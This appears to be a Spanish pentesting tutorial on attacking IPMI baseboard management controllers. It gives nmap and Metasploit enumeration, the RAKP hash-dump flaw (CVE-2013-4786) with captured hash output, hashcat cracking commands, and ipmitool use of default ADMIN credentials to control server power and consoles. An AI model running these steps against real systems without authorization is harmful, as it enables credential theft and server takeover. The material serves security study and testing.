Skip to content

IPMI (Intelligent Platform Management Interface)

Intelligent Platform Management Interface (IPMI) es un conjunto de especificaciones estandarizadas para sistemas de gestión de hardware, usadas para administrar y monitorizar servidores. Actúa como un subsistema autónomo que funciona de forma independiente a la BIOS, la CPU, el firmware y el sistema operativo del host. Esto le da a IPMI una característica particular: permite a los administradores gestionar y supervisar un servidor incluso si está apagado o no responde, porque no depende de que el sistema operativo esté arrancado.

Funciona mediante una conexión de red directa a un controlador dedicado en la placa base (el BMC, Baseboard Management Controller) y no requiere acceso al sistema operativo a través de una sesión de login. También permite actualizaciones remotas del firmware sin necesidad de acceso físico al servidor. Implementaciones comerciales conocidas de este controlador incluyen HP iLO, Dell iDRAC y Supermicro IPMI — todas exponen esencialmente la misma interfaz IPMI por debajo.

IPMI suele usarse de tres formas: localmente en la línea de comandos del propio servidor, remotamente por LAN (el caso relevante para pentesting, sobre el puerto UDP 623), o vía interfaz web/serial dedicada.

Por qué IPMI es un objetivo interesante

Al ser un sistema separado del sistema operativo, comprometer el BMC da un nivel de control que ni siquiera un administrador del sistema operativo tiene normalmente: se puede montar medios virtuales, ver la pantalla remota (KVM-over-IP), encender/apagar el servidor, y en algunos casos acceder a una consola serie con privilegios que podrían derivar en acceso al propio sistema operativo. Además, el protocolo IPMI 2.0 tiene una vulnerabilidad de diseño bien conocida que facilita mucho la obtención de credenciales (ver más abajo), lo que lo convierte en un objetivo de alto valor cuando aparece expuesto en un escaneo.

Footprinting del servicio

Al ser un servicio UDP, conviene identificar primero la versión soportada:

c
❯ sudo nmap -sU --script ipmi-version -p 623 ilo.domain.local

Starting Nmap 7.92 ( https://nmap.org ) at 2021-11-04 21:48 GMT
Nmap scan report for ilo.domain.local (172.16.65.10)
Host is up (0.00064s latency).

PORT    STATE SERVICE
623/udp open  asf-rmcp
| ipmi-version:
|   Version:
|     IPMI-2.0
|   UserAuth:
|   PassAuth: auth_user, non_null_user
|_  Level: 2.0
MAC Address: 14:03:DC:67:18:6A (Hewlett Packard Enterprise)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
  • asf-rmcp : nombre del servicio que identifica Nmap (Alert Standard Format / Remote Management Control Protocol, el protocolo de transporte sobre el que corre IPMI).
  • Confirmar IPMI-2.0 es clave, porque es justamente la versión 2.0 la que tiene la vulnerabilidad de diseño que permite extraer hashes sin necesidad de conocer una contraseña previa (ver sección de explotación).
  • La dirección MAC suele delatar al fabricante del hardware (aquí, Hewlett Packard Enterprise, consistente con un servidor iLO).

Con Metasploit

c
msf6 > use auxiliary/scanner/ipmi/ipmi_version 
msf6 auxiliary(scanner/ipmi/ipmi_version) > set rhosts 172.16.65.10
msf6 auxiliary(scanner/ipmi/ipmi_version) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   BATCHSIZE  256              yes       The number of hosts to probe in each set
   RHOSTS     172.16.65.10     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      623              yes       The target port (UDP)
   THREADS    10               yes       The number of concurrent threads


msf6 auxiliary(scanner/ipmi/ipmi_version) > run

[*] Sending IPMI requests to 172.16.65.10->172.16.65.10 (1 hosts)
[+] 172.16.65.10:623 - IPMI - IPMI-2.0 UserAuth(auth_msg, auth_user, non_null_user) PassAuth(password, md5, md2, null) Level(1.5, 2.0) 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • Es el equivalente en Metasploit al script de Nmap, útil cuando ya se está trabajando dentro de una sesión de Metasploit y se quiere mantener todo el flujo en la misma herramienta.
  • El campo PassAuth muestra qué mecanismos de autenticación de contraseña acepta el BMC: password, md5, md2 e incluso null (sin contraseña) — cuantos más métodos débiles acepte, mayor la superficie de ataque.

Explotación: la vulnerabilidad del protocolo RAKP en IPMI 2.0

IPMI 2.0 introdujo el protocolo de autenticación RAKP (RMCP+ Authenticated Key-Exchange Protocol). El problema de diseño (documentado formalmente como CVE-2013-4786) es el siguiente: durante el intercambio de autenticación, el BMC envía al cliente un hash HMAC de la contraseña del usuario como parte del protocolo — antes de que el cliente haya demostrado conocer esa contraseña. Es decir, basta con solicitar la autenticación para un nombre de usuario válido (como ADMIN, uno de los más comunes por defecto) para que el propio servidor entregue el hash de su contraseña, sin necesidad de saberla de antemano.

Esto convierte a IPMI en un objetivo ideal para ataques de fuerza bruta/diccionario offline: en vez de intentar autenticarse en vivo contra el servicio (lento, y sujeto a posibles bloqueos), se captura el hash en un solo intercambio y se crackea localmente sin límite de intentos ni riesgo de bloqueo de cuenta.

Volcado de hashes con Metasploit

c
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes 
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 172.16.65.10
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > show options 

Module options (auxiliary/scanner/ipmi/ipmi_dumphashes):

   Name                 Current Setting                                                    Required  Description
   ----                 ---------------                                                    --------  -----------
   CRACK_COMMON         true                                                               yes       Automatically crack common passwords as they are obtained
   OUTPUT_HASHCAT_FILE                                                                     no        Save captured password hashes in hashcat format
   OUTPUT_JOHN_FILE                                                                        no        Save captured password hashes in john the ripper format
   PASS_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_passwords.txt  yes       File containing common passwords for offline cracking, one per line
   RHOSTS               172.16.65.10                                                       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                623                                                                yes       The target port
   THREADS              1                                                                  yes       The number of concurrent threads (max one per host)
   USER_FILE            /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt      yes       File containing usernames, one per line



msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run

[+] 172.16.65.10:623 - IPMI - Hash found: ADMIN:8e160d4802040000205ee9253b6b8dac3052c837e23faa631260719fce740d45c3139a7dd4317b9ea123456789abcdefa123456789abcdef140541444d494e:a3e82878a09daa8ae3e6c22f9080f8337fe0ed7e
[+] 172.16.65.10:623 - IPMI - Hash for user 'ADMIN' matches password 'ADMIN'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • USER_FILE : lista de nombres de usuario a probar (el módulo intenta el intercambio RAKP para cada uno; recordemos que solo se necesita un nombre de usuario válido, no la contraseña).
  • PASS_FILE : diccionario de contraseñas comunes específicas de IPMI, usado para el crackeo automático inmediato (CRACK_COMMON) contra los hashes recién capturados.
  • En este ejemplo, el propio módulo logró crackear el hash en el acto porque la contraseña coincidía con el nombre de usuario (ADMIN:ADMIN) — una de las combinaciones por defecto más comunes en dispositivos IPMI que nunca fueron reconfigurados tras la instalación.
  • OUTPUT_HASHCAT_FILE / OUTPUT_JOHN_FILE : si el crackeo automático con el diccionario común no tiene éxito, se pueden exportar los hashes a estos formatos y continuar el ataque con hashcat (modo 7300 para IPMI 2.0 RAKP HMAC-SHA1) o john, usando diccionarios más grandes.

Crackeo manual con hashcat (si el diccionario automático no encuentra la contraseña)

c
❯ hashcat -m 7300 -a 0 ipmi_hashes.txt /usr/share/wordlists/rockyou.txt
  • -m 7300 : modo específico de hashcat para hashes IPMI 2.0 RAKP HMAC-SHA1, extraídos previamente con el módulo de Metasploit o herramientas equivalentes.

Impacto de un compromiso exitoso

Con credenciales válidas del BMC (obtenidas por crackeo o por defecto), se puede acceder a la interfaz web o CLI de gestión (ipmitool) del dispositivo, lo que típicamente permite:

  • Ver y controlar la consola remota del servidor (KVM-over-IP), incluso durante el arranque, sin necesidad de acceso físico.
  • Apagar, reiniciar o encender el servidor a voluntad.
  • Montar imágenes ISO virtuales como si fueran medios físicos — un vector directo para arrancar el servidor con un sistema propio y comprometer el sistema operativo instalado.
  • En algunos fabricantes, acceder a una consola serie del sistema operativo con la sesión ya iniciada, saltándose por completo la autenticación normal del SO.
c
❯ ipmitool -I lanplus -H 172.16.65.10 -U ADMIN -P ADMIN chassis power status
  • -I lanplus : especifica el protocolo IPMI v2.0 sobre LAN (RMCP+).
  • Con esta misma sintaxis se pueden enviar otros comandos de ipmitool (chassis power on/off/reset, sol activate para consola serie sobre LAN, user list para enumerar cuentas adicionales del BMC, etc.), una vez confirmado el acceso.